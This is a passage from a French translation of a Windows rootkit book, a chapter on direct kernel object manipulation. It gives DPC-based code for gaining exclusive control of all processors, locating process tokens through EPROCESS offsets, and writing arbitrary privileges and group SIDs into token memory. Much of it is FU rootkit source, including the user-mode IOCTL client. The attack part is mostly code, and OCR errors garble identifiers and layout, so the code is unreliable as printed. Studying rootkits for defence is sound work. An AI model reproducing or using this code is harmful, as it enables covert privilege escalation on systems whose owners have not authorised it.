promus au niveau DISPATCH_LEVEL, ce qui signale en mme temps aux threads quils
peuvent quitter. NumberOfRaisedCPU indique le nombre total de processeurs promus.
Utilisez la fonction interlockedxxx pour changer ces variables de manire atomique.
Dans le code principal de notre rootkit, nous devons lever lIRQL auquel il sexcute.
Appelez KeGetCurrentlrql pour dterminer le niveau actuel. Cest seulement sil est
infrieur DISPATCH_LEVEL quil faudra appeler KeRai- sel rql.
Si le nouvel IRQL est infrieur lIRQL courant, un contrle de debugging se
produira.
Voici le code qui lve le thread actuel du rootkit

DISPATCH_LEVEL :

KIRQL Currentlrql, Oldlrql;


// Teste et lve au besoin l'IRQL
Currentlrql = KeGetCurrentIrql();
Oldlrql = Currentlrql; if
(Currentlrql < DISPATCH_LEVEL)
KeRaiseIrql(DISPATCH_LEVEL, &01dlrql);

Vous devez maintenant lever lIRQL de tous les autres processeurs. Pour notre
objectif, nous utiliserons un appel diffr, ou DPC (Deferred Procedure Call).

Chapitre 7

Manipulation directe des objets du noyau 207

Le gros avantage de recourir un DPC est quil sexcute au niveau DISPATCH_LEVEL.


Un autre point important est que vous pouvez spcifier le processeur devant lexcuter.
Nous allons crer un DPC pour chacun des autres processeurs. Une simple boucle FOR
rptant laction pour le nombre total de processeurs, donn par KeNumberProcessors,
remplira lobjectif.
Avant de pntrer dans la boucle, nous devons appeler KeCurrentProcessorNumber pour
dterminer le processeur sur lequel le thread matre du rootkit sexcute. Puisque nous
avons dj lev son niveau dIRQL et que le thread du rootkit effectuera tout le
travail de modification des ressources partages, tel le changement des listes de
processus et de drivers, nous ne voulons pas quil excute notre DPC. Dans la boucle
FOR, initialisez chaque DPC en appelant KelnitializeDpc. Cette fonction reoit
ladresse de la fonction dont le code sera excut par le DPC. Dans notre cas, cest
RaiseCPUIrqlAndWait.

Aprs linitialisation du DPC, la fonction KeSetTargetProcessorDPC assigne un


processeur distinct pour chaque DPC que le rootkit a cr. Lexcution de ces DPC
nest quune affaire de placement de chaque appel dans la file dattente des DPC pour
le processeur correspondant au moyen dun appel de KelnsertQueueDpc. A la fin de la
fonction GainExclusivity se trouve une petite boucle WHILE qui compare la valeur dans
NumberOfRaisedCPU au nombre de processeurs moins 1. Lorsque ces valeurs sont gales,
tous les processeurs ont t traits et le rootkit dispose dune priorit prenant le pas sur
tout, sauf sur les DIRQL, mais ceux-ci ne sont pas problmatiques.
Voici le code GainExclusivity

PKDPC GainExclusivity()

{
NTSTATUS ns;
ULONG u_currentCPU;
CCHAR i;
PKDPC pkdpc, temp_pkdpc;
if (KeGetCurrentIrql() != DISPATCH_LEVEL) return NULL;
// Initialise les deux variables globales zro
InterlockedAnd(&AllCPURaised, 0);
InterlockedAnd(&NumberOfRaisedCPU, 0);
// Alloue de la place pour nos DPC. En mmoire NonPagedPool !
temp_pkdpc = (PKDPC) ExAllocatePool(NonPagedPool, KeNumberProcessors *
sizeof(KDPC));

208 Rootkits

Infiltrations du noyau Windows

if (temp_pkdpc == NULL)
return NULL; //STATUS_INSUFFICIENT_RESOURCES;
u_cunrentCPU = KeGetCurrentProcessorNumber(); pkdpc
= temp_pkdpc;
for (i = 0; i < KeNumberProcessors; i++, *temp_pkdpc++)

{
// Veillez ne pas planifier de DPC sur le // processeur
courant. Ceci provoquerait un deadlock. if (i !=
u_currentCPU)

{
KeInitializeDpc(temp_pkdpc,
RaiseCPUIrqlAndWait,
NULL);
// Dfinit le processeur cible pour le DPC. L'appel serait sinon //
plac dans la file d'attente du processeur courant // lors de l'appel
de KelnsertQueueDpc. KeSetTargetProcessorDpc(temp_pkdpc, i);
KeInsertQueueDpc(temp_pkdpc, NULL, NULL);

}
}
while(InterlockedCompareExchange(&NumberOfRaisedCPU,
KeNumberProcessors-1,
KeNumberProcessors-1)
KeNumberProcessors-1)

!=

{
_ asm nop;

}
return pkdpc; //STATUS_SUCCESS;

Lorsque GainExclusivity est excute, RaiseCPUIrqlAndWait est excute par chaque


DPC. Son rle est juste dincrmenter dune manire atomique le nombre total de
processeurs levs au niveau DISPATCH_LEVEL. Ensuite, elle attend dans une petite
boucle jusqu ce quelle reoive le signal lui indiquant quelle peut quitter en toute
scurit, ce signal tant la valeur 1 dans la variable AllCPURaised.
/////////////////////////////////////////////////////////////////
//////
/
// RaiseCPUIrqlAndWait

//

// Description : Cette fonction est appele lorsqu'un DPC est excut.


// Elle s'excute alors au niveau DISPATCH_LEVEL. Son rle // consiste
simplement incrmenter un compteur donnant // le nombre de processeurs ayant
t levs au niveau // DISPATCH_LEVEL. Elle attend ensuite dans une boucle le
signal // lui permettant de mettre fin au DPC en toute scurit,
// librant
leprocesseur du
niveau DISPATCH_LEVEL.
RaiseCPUIrqlAndWait(IN
IN
IN
IN

PKDPC
PVOID
PVOID
PVOID

Dpc,
DeferredContext,
SystemArgumentl,
SystemArgument2)

Chapitre 7

Manipulation directe des objets du noyau 209

{
InterlockedIncrement(&NumberOfRaisedCPU);
while(!InterlockedCompareExchange(&AllCPURaised, 1, 1))

{
_ asm nop;

}
InterlockedDecrement(&NumberOfRaisedCPU);

}
Votre rootkit peut maintenant modifier la liste partage de processus ou de drivers.
Lorsque vous avez fini votre travail, le thread principal du rootkit doit appeler
ReleaseExclusivity pour librer tous les DPC de leur petite boucle ainsi que la
mmoire qui aura t alloue par GainExclusivity pour contenir les objets DPC.
NTSTATUS ReleaseExclusivity(PVOID pkdpc)

{
Interlockedlncrement(&AllCPURaised); // Chaque DPC dcrmente
^maintenant
// le compteur et quitte.
// Libre la mmoire alloue pour contenir les DPC
while(InterlockedCompareExchange(&NumberOfRaisedCPU, 0, 0))

{
__asm nop;

}
if (pkdpc != NULL)

{
ExFreePool(pkdpc);
pkdpc = NULL;

}
return STATUS_SUCCESS;

}
Les informations de cette section vous ont permis de comprendre comment vous
dtacher de LIST_ENTRY facilement et avec une bonne scurit pour le thread. Un
processus dissimul nest toutefois pas trs utile sil ne possde pas le niveau de
privilges ncessaire pour raliser ce pour quoi il a t prvu. Dans la prochaine
section, vous apprendrez augmenter les privilges de nimporte quel jeton daccs
ainsi qu ajouter nimporte quel groupe au jeton.

Augmentation des privilges du jeton d'accs d'un processus


Le jeton dun processus est capital pour dterminer ce que le processus a le droit de
faire et ce qui lui est interdit. Ce jeton est driv de la session de lutilisateur qui a
engendr le processus. Tous les threads dun processus peuvent avoir leur propre jeton
mais la plupart utilisent par dfaut celui du processus.

210 Rootkits

Infiltrations du noyau Windows

Un des objectifs importants des dveloppeurs de rootkits est dobtenir un accs


privilgi. Cette section dcrit comment obtenir des privilges suprieurs pour un
processus normal aprs que le rootkit a t install. Ceci peut tre utile car aprs vous
tre infiltr et avoir install le rootkit, vous voudrez revenir des conditions plus
normales pour que votre vecteur dentre initial ne soit pas dcouvert.
Le code prsent dans cette section concerne uniquement un jeton de processus, mais
il pourrait tout aussi bien sappliquer un jeton de thread. La seule diffrence a trait
la localisation du jeton. Tous les autres codes et techniques conviennent dans les deux
cas.

Modification d'un jeton de processus


Pour modifier un jeton de processus, lAPI Win32 prvoit plusieurs fonctions, parmi
lesquelles OpenProcessToken, AdjustTokenPrivileges et AdjustToken- Groups, qui
requirent toutes certains privilges, tels que TOKEN_ADJUST_GROUPS et
TOKEN_ADJUST_ PRIVILEGES. Cette section expose une faon dajouter des privilges et des
groupes un jeton sans disposer dun accs privilgi celui-ci. Une fois le rootkit
install, DKOM est le seul "privilge" que vous devez comprendre.
Localiser un jeton

Pour localiser le jeton, nous invoquons la fonction FindProcessEPROC vue plus haut la
section "Dissimulation de processus" afin de trouver ladresse de la structure EPROCESS
du processus dont le rootkit va modifier le jeton et ajoutons cette adresse loffset du
pointeur de jeton. Le rsultat sera lemplacement contenant ladresse du jeton dans
EPROCESS. Cet offset varie selon les versions de Windows, comme indiqu au Tableau
7.2.

Tableau 7.2 : Offsets vers le PID et FLINK dans le bloc EPROCESS

Offset du
pointeur de
jeton

Windows NT Windows 2000


0x108
0x12C

Windows XP
0xC8

Windows XP SP2
0xC8

Windows 2003
0xC8

Le membre de EPROCESS qui contient ladresse du jeton a chang entre Windows 2000
(et les versions antrieures) et la nouvelle version de Windows XP

Manipulation directe des objets du noyau 211

Chapitre 7

(et les versions ultrieures). Il sagit prsent dune structure


dfinie comme suit :

_EX_FAST_REF

qui est

typedef struct _EX_FAST_REF {


union {
PVOID Object;
ULONG RefCnt : 3;
ULONG Value;

};
} EX_FAST_REF, *PEX_FAST_REF;

Pour localiser le jeton, nous utilisons la fonction FindProcessToken suivante :


DWORD FindProcessToken (DWORD eproc) {
DWORD token
_ asm {
mov eax,
add eax,
mov eax,
and eax,
mov token

)
eproc;
T0KEN0FFSET; ; // Offset du pointeur de
[eax];
0xfffffff8; // Voir la dfinition de
, eax ;

jeton dans EPROCESS


_EX_FAST_REF

}
return token;

}
Notez que dans ce code assembleur en ligne nous laissons de ct les trois bits de
poids faible de ladresse du jeton grce linstruction and eax, fffffffs. En effet,
les adresses de jeton se terminent toujours avec les trois bits de poids faible 0. Par
consquent, bien que le membre reprsentant ladresse ait chang, nous pouvons
toujours rcuprer ladresse et il ny aura aucune incidence si nous changeons les
trois derniers bits sur les anciennes versions du systme dexploitation.
Modifier un jeton

Les jetons sont trs difficiles modifier. Ils sont composs dune partie statique qui,
comme son nom lindique, ne change pas de taille et possde une structure bien
dfinie et dune partie variable qui est nettement moins prvisible et contient tous les
privilges et SID appartenant au jeton. Le nombre exact de privilges et de SID
diffre selon les lments didentification de lutilisateur qui a gnr le processus (ou
de lutilisateur dont le processus usurpe lidentit). Vous comprendrez mieux le code
prsent plus loin en ayant lesprit la structure dun jeton (voir Figure 7.4).
Plusieurs offsets sont ncessaires pour modifier le jeton. Les plus importants sont
donns au Tableau 7.3. Par exemple, pour ajouter au jeton un privilge ou un SID de
groupe, il faut incrmenter le compteur correspondant dans la partie statique.

212 Rootkits

Infiltrations du noyau Windows

Figure 7.4

JETON

Structure mmoire
d'un jeton de
processus.

Partie statique

Privilges

LUID

Attribut

LUID

Attribut

LUID

Attribut

LUID

Attribut

i- P_SID

Attribut

P_SID
Groupes

Attribut

P_SID

Attribut

Partie variable

SID
SID
SID

Comme voqu prcdemment, tous les privilges et SID sont stocks dans la partie
variable puisque leur taille peut changer dun jeton lautre. Un des offsets du jeton
contient ladresse de cette partie et sa taille.
Tableau 7.3 : Offsets importants dans le jeton du processus
Windows NT Windows 2000
Offset de
AUTHJD

Windows XP

Windows XP SP2 Windows 2003

0X18

0x18

0x18

0x18

0x18

0x30

0x3C

0x40

0x4C

0x4C

0x48

0x58

0x5C

0x68

0x68

0x34

0x44

0x48

0x54

0x54

0x50

0x64

0x68

0x74

0x74

Offset du
compteur de SID
Offset de ladresse
du SID
Offset du
compteur de
privilges
Offset de ladresse
du privilge

Chapitre 7

Manipulation directe des objets du noyau 213

Ajouter des privilges un jeton

Pour ajouter des privilges ou en activer qui taient dsactivs, nous pouvons employer
un programme de niveau utilisateur pour envoyer des commandes IOCTL au rootkit.
Une portion de code utilisateur est ici trs utile car nombre des fonctions de lAPI
Win32 relatives aux jetons, privilges et SID ne sont pas documentes dans le noyau.
Le rootkit en mode noyau reoit les informations de privilges de la part du
programme utilisateur et les crit directement dans la mmoire du jeton. Souvenezvous que, comme nous ne passons pas par le Gestionnaire dobjets de Windows pour
crire en mmoire, nous pouvons assigner au jeton tous les privilges et groupes que
nous voulons.
Avant dindiquer au rootkit quels privilges ajouter ou activer dans un processus
donn, vous devez en apprendre un peu plus sur les privilges dun processus. Voici
certains des privilges lists dans le fichier den-tte Ntddk. h ( noter quils ne sont
pas tous applicables des processus) :
H SeCreateTokenPrivilege ;

B SeAssignPrimaryTokenPrivilege ;
B SeLockMemoryPrivilege ;

B SelncreaseQuotaPrivilege ;
B SeUnsolicitedlnputPrivilege ;
S SeMachineAccountPrivilege ;
B SeTcbPrivilege ;

B SeSecurityPrivilege ;
B SeTakeOwnershipPrivilege ;
S SeLoadDriverPrivilege ;
B SeSystemProfilePrivilege ;

B SeSystemtimePrivilege ;
H SeProfileSingleProcessPrivilege ;

214 Rootkits

Infiltrations du noyau Windows

B SelncreaseBasePriorityPrivilege

SeCreatePagefilePrivilege ;

M SeCreatePermanentPrivilege ;

SeBackupPrivilege ;

SeRestorePrivilege ;

0 SeShutdownPrivilege ;

SeDebugPrivilege ;

H!SeAuditPrivilege ;
H SeSystemEnvironmentPrivilege ;
B SeChangeNotifyPrivilege ;
B SeRemoteShutdownPrivilege

B SeUndockPrivilege ;
B SeSyncAgentPrivilege ;

3 SeEnableDelegationPrivilege ;

Nous pouvons utiliser loutil Process Explorer de Sysinternals1 pour visualiser les
privilges courants dun processus. Remarquez la Figure 7.5 que de nombreux
privilges sont dsactivs par dfaut.
Le fait que de nombreux privilges soient dsactivs par dfaut lors de la cration dun
jeton est commode pour lui ajouter des privilges et des groupes. La raison est quil
faut tre extrmement prudent quand on crit directement en mmoire. La taille du
jeton ne doit pas augmenter car on ne sait pas ce que la mmoire contient
immdiatement aprs. Cette zone de mmoire nest peut-tre mme pas valide. En
activant ou en crasant des privilges dj prsents dans le jeton, cela vite
daugmenter sa taille. Nous reviendrons sur ce point dans un moment.

1. Process Explorer est disponible ladresse www.sysinternals.com/ntw2k/freeware/procexp.shtml.

Chapitre 7

Manipulation directe des objets du noyau 215

Figure 7.5

Les paramtres de
scurit contenus dans le
jeton d'un processus.

Rootkit.com
Vous pouvez tlcharger le code suivant sous la forme du rootkit FU
partir de www.rootkit.com/vault/fuzen_op/FU_Rootkit.zip .
La plupart des codes source de ce chapitre sont galement
disponibles sur ce site.

Le code suivant est celui de la fonction main() du programme utilisateur. Cette


fonction reoit loption -prs (Privilge Set) de la part de lutilisateur, le PID du
processus cible et les privilges ajouter. Par exemple, f u -prs 8 SeDebugPrivi- lege
SeShutdownPrivilege ajoutera les privilges SeDebugPrivilege et SeShut- downPrivilege au
jeton du processus possdant le PID 8. Nous crons un tableau, priv array, dont la
longueur correspond au nombre darguments en ligne de commande, moins trois (pour
fu, -prs et le PID). Chaque lment du tableau occupe 32 octets (nous ne connaissons
pas la taille de tous les privilges mais 32 devrait tre plus que suffisant). Nous
passons ensuite le PID, priv array, et la taille du tableau la fonction SetPriv, qui fait le
reste du travail au niveau utilisateur.
void maintint argc, char **argv)

{
int i = 25;
if (argc >
1 )

216 Root kits

Infiltrations du noyau Windows

{
if (InitDriver() == -1) return;
if (strcmp((char *)argv[1], -prl") == 0)
ListPrivf);
else if (strcmp((char *)argv[1], "-prs") == 0)

{
char *priv_array = NULL;
DWORD pid = 0; if (argc > 2)
pid = atoi(argv[2]);
priv_array = (char *)calloc(argc-3, 32);
if (priv_array == NULL)

{
fprintf(stderr, "Failed to allocate memory!\n");
return;

}
int size = 0;
for(int i = 3; i < argc; i++)

{
if(strncmp(argv[i], "Se", 2) == 0)

{
strncpy((char *)priv_array + ((i-3)*32), argv[i], 31);
size++;

}
}
SetPrivfpid, priv_array, size*32);
if(priv_array) free(priv_array);

}
Le code prcdent vrifie que le nom de chaque privilge ajout dbute bien par Se,
ce qui doit tre le cas pour tout privilge valide. Puis nous copions les nouveaux
privilges valides dans un tableau et invoquons la fonction SetPriv, qui
communiquera avec le driver du rootkit via une commande IOCTL.
La fonction SetPriv alloue et initialise un tableau dlments LU ID_AND_ATTRIBUTES
passer au driver. Chacun des privilges de la liste prsente plus haut dans cette
section possde un identifiant LUID (Locally Unique Identifier). Etant donn que ces
LUID sont uniques seulement localement, nous ne pouvons pas les coder en dur dans
le rootkit. La fonction LookupPrivilegeValue reoit le nom du systme (ici NULL) sur
lequel rechercher la valeur de privilge, le nom du privilge pass par le programme
utilisateur en ligne de commande et un pointeur pour recevoir la valeur LUID. Le
SDK (Software Development Kit) donne du LUID la dfinition suivante : "Valeur de
64 bits garantie comme tant unique

Chapitre 7

Manipulation directe des objets du noyau 217

seulement sur le systme sur lequel elle a t gnre." A noter quelle peut aussi
changer si lordinateur est redmarr.
Les attributs dfinissent si le privilge associ un LUID donn est activ ou
dsactiv. Le simple fait quun privilge soit prsent dans un jeton ne signifie pas que
ce dernier possde ce privilge. Un privilge peut se trouver dans lun des trois tats
suivants, tel que spcifi par son attribut :
#define SE_PRIVILEGE_DISABLED
(0X00000000L)
#define SE_PRIVILEGE_ENABLED_BY_DEFAULT
(0X00000001L)
#define SE_PRIVILEGE_ENABLED
(0X00000002L)
Voici un exemple de la structure LUID_AND_ATTRIBUTES :
typedef Struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;

Dfinir le membre LUID avec la valeur retourne par LookupPrivilegeValue et lattribut


avec la valeur SE_PRIVILEGE_ENABLED_BY_DEFAULT initialise le tableau, qui est alors prt
tre pass au rootkit. Nous utilisons pour cela la fonction Device- IoControl avec le
paramtre IOCTL_ROOTKIT_SETPRIV :
DWORD SetPriv(DWORD pid, void *priv_luids, int priv_size)

{
DWORD d_bytesRead;
DWORD success;
PLUID_AND_ATTRIBUTES pluid_array;
LUID pluid;
VARS dvars;
if ( ! Initialized)
return ERROR_NOT_READY; if (priv_luids == NULL)
return ERROR_INVALID_ADDRESS; pluid_array =
(PLUID_AND_ATTRIBUTES) calloc(priv_size/32,
sizeof(LUID_AND_ATTRIBUTES)); if (pluid_array == NULL)
return ERROR_NOT_ENOUGH_MEMORY;
DWORD real_luid = 0;
for (int i = 0; i < priv_size/32; i++)

{
if(LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32),
&pluid))

{
memcpy(pluid_array+i, &pluid, sizeof(LUID));
*(pluid_array+i)).Attributes
=
SE_PRIVILEGE_ENABLED_BY_DEFAULT;
real_luid++;

218 Rootkits

Infiltrations du noyau Windows

dvars.the_pid = pid; dvars.pluida =


pluid_array; dvars.num_luids =
real_luid; success =
DeviceIoControl(gh_Device,
IOCTL_ROOTKIT_SETPRIV,
(void *) &dvars,
sizeof(dvars),
NULL,

&d_bytesRead,
NULL) ;
if(pluid_array)
free(pluid_array);
return success;

}
Le code du noyau contient le gestionnaire de la commande IOCTL_ROOTKIT_SETPRIV. Il
reoit le tableau dlments LUID_AND_ATTRIBUTES et le PID du processus auquel les
privilges doivent tre ajouts. Il invoque FindProcess- EPROC pour localiser la
structure EPROCESS correspondant au PID puis Find- ProcessToken pour localiser
ladresse du jeton du processus.
Maintenant que nous disposons du jeton, nous devons obtenir la taille du tableau
LUID_AND_ATTRIBUTES quil inclut. Pour cela, nous lisons la valeur qui se trouve
loffset du compteur de privilges. Cette valeur est trs importante et sera utilise dans
les boucles FOR du code qui va suivre.
Ensuite, nous rcuprons ladresse du dbut du tableau dlments LUID AND
ATTRIBUTES. Souvenez-vous quun jeton est constitu dune partie de longueur fixe et
dune partie de longueur variable. Le dbut de ce tableau correspond au dbut de la
partie variable. Les deux parties sont contigus en mmoire.
Avec ladresse du tableau dans le jeton, le compteur de privilges et les nouvelles
valeurs LUID_AND_ATTRIBUTES ajouter, nous pouvons continuer examiner le code du
rootkit. Comme il a t dit, nous ne pouvons pas allouer de mmoire pour les
nouveaux privilges, et nous ne pouvons pas agrandir le jeton (puisque la mmoire
adjacente lemplacement du jeton risque de ne pas tre valide).
Comme vous avez pu le voir dans le rsultat de Process Explorer la Figure 7.5, une
majorit des privilges prsents dans un jeton typique sont dsactivs. Lide est
dactiver un privilge existant sil correspond lun de ceux contenus dans le tableau
dlments LUID_AND_ATTRIBUTES pass au rootkit et de remplacer un privilge dsactiv
qui ne figure pas dans le nouveau tableau par un privilge ajouter.

Chapitre 7

Manipulation directe des objets du noyau 219

A cette fin, nous crons deux ensembles de boucles FOR imbriques. Le premier
examine chaque privilge pass au rootkit et, sil correspond un privilge qui existe
dj dans le jeton, dfinit ce dernier comme tant activ. Le second est utilis lorsque
le privilge nest pas prsent dans le jeton mais quil y a dautres privilges dsactivs
pouvant tre remplacs. Grce cette mthode, nous pouvons ajouter des privilges
sans utiliser plus de mmoire.
// Si le privilge ajouter existe dj dans le jeton, nous modifions //
simplement son champ d'attribut.
for (luid_attr_count = 0; luid_attr_count < d_PrivCount; luid_attr_count++)

{
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)

{
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(memcmp(&luids_attr_orig[luid_attr_count].Luid,
&luids_attr[d_LuidsUsed].Luid, sizeof(LUID)) == 0))

{
(PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes =
0xffffffff;

}
}
}
// Aucun des nouveaux privilges ne se trouve dj dans le jeton,
// aussi nous remplaons des privilges dsactivs.
for (d_LuidsUsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++)

{
if (((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes !=
0xffffffff)

{
for (luid_attr_count = 0; luid_attr_count < d_PrivCount;
luid_attr_count++)

{
// Si le privilge tait dsactiv, c'est qu'il n'tait pas // requis.
Nous rutilisons donc son espace pour un // nouveau privilge. Nous ne
pounrons peut-tne pas ajouter // tous les privilges voulus en raison
de limitations d'espace,
// aussi nous les organisons par ordre d'importance dcroissante,
if((luids_attr[d_LuidsUsed].Attributes != 0xffffffff) &&
(((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count]. Attributes
== 0x00000000))

{
((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Luid =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Luid;

220 Rootkits

Infiltrations du noyau Windows

((PLUID_AND_ATTRIBUTES)luids_attr_orig)[luid_attr_count].Attributes =
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes;
((PLUID_AND_ATTRIBUTES)luids_attr)[d_LuidsUsed].Attributes =
0xffffffff;

break;

Ajouter des SID un jeton

Lajout de SID un jeton est la modification la plus difficile qui soit. En raison des
limitations despace voques prcdemment, nous devons nous en tenir au
remplacement de privilges dsactivs par les nouveaux SID.
En plus de contenir les SID eux-mmes, un jeton de processus inclut aussi dautres
dinformations les concernant, telles quun tableau de structures SID_AND_ATTRIBUTES
qui ressemble au tableau de privilges. Le premier membre de cette structure est
simplement un pointeur vers le SID en mmoire. Pour introduire un nouveau SID dans
un jeton, il faut ajouter une entre au tableau dlments SID AND ATTRIBUTES, ajouter
le SID lui-mme et recalculer tous les pointeurs du tableau pour reflter le changement
opr en mmoire.
Voici une structure SID_AND_ATTRIBUTES

typedef struct _SID_AND_ATTRIBUTES {


PSID Sid;
DWORD Attributes;
} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES;

Pour faire les choses proprement, il convient dutiliser un espace de travail en mmoire
de la mme taille que la partie variable du jeton. Cet espace peut tre allou dans le
pool pagin. Lorsque nous aurons termin, nous le copierons dans la partie variable
existante du jeton puis librerons la mmoire. Nous allons avoir besoin des compteurs
de privilges et de SID, de lemplacement des tableaux de privilges et de SID et du
dbut et de la taille de la partie variable du jeton.
A partir de ladresse du jeton, le code suivant initialise les variables requises et alloue
lespace de travail ;
i_PrivCount = *(int *)(token + PRIVCOUNTOFFSET); i_SidCount = *(int
*)(token + SIDCOUNTOFFSET);
luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET); varbegin
= (PVOID) luids_attr_orig;
i_VariableLen = *(int *)(token + PRIVCOUNTOFFSET + 4);

Chapitre 7

Manipulation directe des objets du noyau 221

sid_ptr_old = *(PSID_AND_ATTRIBUTES *)(token + SIDADDROFFSET);


Il Alloue de l'espace de travail temporaire varpart =
ExAllocatePool(PagedPool, i_VariableLen); if (varpart == NULL)

{
IoStatUS->StatUS = STATUS_INSUFFICIENT_RESOURCES;
break;

}
RtlZeroMemory(varpart, i_VariableLen);

Ensuite, le rootkit libre de la mmoire dans le jeton en copiant uniquement les


privilges activs vers lespace temporaire, varpart. En gardant un compteur des
privilges copis, nous savons exactement quelle quantit despace a t libre.
Il se pourrait que lespace libr dans le jeton ne suffise pas pour contenir les
nouveaux SID et leurs structures SID_AND_ATTRIBUTES, auquel cas peu de choix
soffrent nous. Le rootkit pourrait simplement retourner une erreur indiquant que les
ressources du jeton sont insuffisantes pour pouvoir ajouter un SID, comme dans le
code ci-aprs.
Autrement, nous pourrions remplacer certains des privilges activs par de nouveaux
SID, ce qui pourrait avoir un effet indsirable. En effet, si nous crasons un privilge
dont le processus a besoin, ce dernier ne pourra plus fonctionner correctement.
Depuis Windows 2000, des SID restreints peuvent exister la fin de la partie variable
dun jeton, leur fonction tant de limiter explicitement certains utilisateurs ou groupes
certaines actions. Ils sont nanmoins trs rarement utiliss. A linstar des privilges
dsactivs, ces SID nont pour nous aucune utilit, aussi pouvons-nous complter le
code pour quil libre galement lespace quils occupent.
// Copie uniquement les privilges activs. Nous remplacerons // les
privilges dsactivs par les nouveaux SID.
for(luid_attr_count=0;luid_attr_count<i_PrivCount; luid_attr_count++)

{
if(((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes !=
SE_PRIVILEGE_DISABLED)

{
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Luid =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Luid;
((PLUID_AND_ATTRIBUTES)varpart)[i_LuidsUsed].Attributes =
((PLUID_AND_ATTRIBUTES)varbegin)[luid_attr_count].Attributes;
i_Luids(Jsed++;

}
}
// Calcule l'espace requis dans le jeton i_spaceNeeded = i_SidSize +
sizeof(SID_AND_ATTRIBUTES);

222 Rootkits

Infiltrations du noyau Windows

i_spaceSaved = (i_PrivCount - i_LuidsUsed)*


Sizeof(LUID_AND_ATTRIBUTES);
i_spaceUsed = i_LuidsUsed * sizeof(LUID_AND_ATTRIBUTES);
Il II n'y a pas assez de place pour les nouveaux SID. Nous ignorons Il tous les
SID restreints dans la partie variable, if (i_spaceSaved < i_spaceNeeded)

{
ExFreePool(varpart);
IoStatUS->StatUS = STATUS_INSUFFICIENT_RESOURCES;
break;

}
Le code suivant copie dans lespace temporaire toutes les structures SID_AND_ATTRIBUTES existantes. La boucle FOR parcourt le tableau et rectifie comme il se doit les
pointeurs de SID :
RtlCopyMemory((PVOID)((DWORD)varpart+i_spacetlsed),
(PVOID)((DWORD)varbegin + (i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))), i_SidCount *
Sizeof(SID_AND_ATTRIBUTES));
for (sid_count = 0; sid_count < i_SidCount; sid_count++)

{
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count].Sid =
(PSID)(((DWORD) sid_ptr_old[sid_count].Sid) - ((DWORD) i_spaceSaved) +
((DWORD)sizeof(SID_AND_ATTRIBUTES)));
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[sid_count]
.Attributes = sid_ptr_old[sid_count].Attributes;

}
Il nous reste encore dfinir les nouvelles entres SID AND ATTRIBUTES en assignant au
champ dattribut la valeur 0x00000007 afin de rendre les nouveaux SID obligatoires.
Comme nous ajoutons les SID aprs ceux existants, nous devons calculer la taille du
dernier SID. Pour cela, nous partons de ladresse de dbut de ce SID, que nous
trouvons dans la dernire entre SID_AND_ATTRIBUTES, et la soustrayons de la taille
totale de la partie variable du jeton (en ignorant la prsence ventuelle de SID
restreints). A partir de cette taille, nous pouvons calculer la valeur du pointeur du
nouveau SID :
// Dfinit la nouvelle entre SID_AND_ATTRIBUTES SizeOfLastSid =
(DWORD)varbegin + i_VariableLen;
SizeOfLastSid = SizeOfLastSid - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[i_SidCount-1 ].Sid;
((PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount].Sid =
(PSID)((DWORD)((PSID_AND_ATTRIBUTES)
((DWORD)varpart+(i_spaceUsed)))[i_SidCount-1].Sid + SizeOfLastSid);
( (PSID_AND_ATTRIBUTES)((DWORD)varpart+(i_spaceUsed)))[i_SidCount] .Attributes
= 0x00000007 ;

Chapitre 7

Manipulation directe des objets du noyau 223

Nous copions maintenant lespace de travail, varpart, dans le jeton, aprs quoi ce
dernier contiendra tous les privilges activs et toutes les entres SID_AND_ATTRIBUTES
existantes. Ensuite, nous copierons les nouveaux SID la suite :
// Copie les anciens SID mais fait de la place pour les nouveaux SizeOfOldSids
= (DWORD)varbegin + i_VariableLen;
SizeOfOldSids = SizeOfOldSids - (DWORD)
((PSID_AND_ATTRIBUTES)sid_ptr_old)[0].Sid;
RtlCopyMemory((VOID UNALIGNED *)((DWORD)varpart +
(i_spaceUsed)+((i_SidCount+1)*
Sizeof (SID_AND_ATTRIBUTES))),
(CONST VOID UNALIGNED*)
((DWORD)varbegin+(i_PrivCount *
sizeof(LUID_AND_ATTRIBUTES))+(i_SidCount*
sizeof(SID_AND_ATTRIBUTES))), SizeOfOldSids);
// Copie le nouveau contenu sur l'ancien RtlZeroMemory(varbegin,
i_VariableLen);
RtlCopyMemory(varbegin, varpart, i_VariableLen);
// Copie les nouveaux SID la suite des anciens
RtlCopyMemory(((PSID_AND_ATTRIBUTES)((DWORD)varbegin +
(i_spaceUsed)))[i_SidCount].Sid, psid, i_SidSize);

Comme ultime tape, nous devons rectifier les compteurs et les pointeurs dans la partie
statique du jeton et librer la mmoire de lespace de travail. Etant donn que le
nombre de SID et de privilges a chang dans le jeton, il faut modifier leurs offsets.
Lemplacement du tableau dlments LUID_AND_ATTRIBUTES ne change pas car il se
trouve au dbut de la partie variable, mais le pointeur vers le tableau dlments
SID_AND_ATTRIBUTES doit tre actualis puisque nous avons dplac ce dernier en
mmoire :
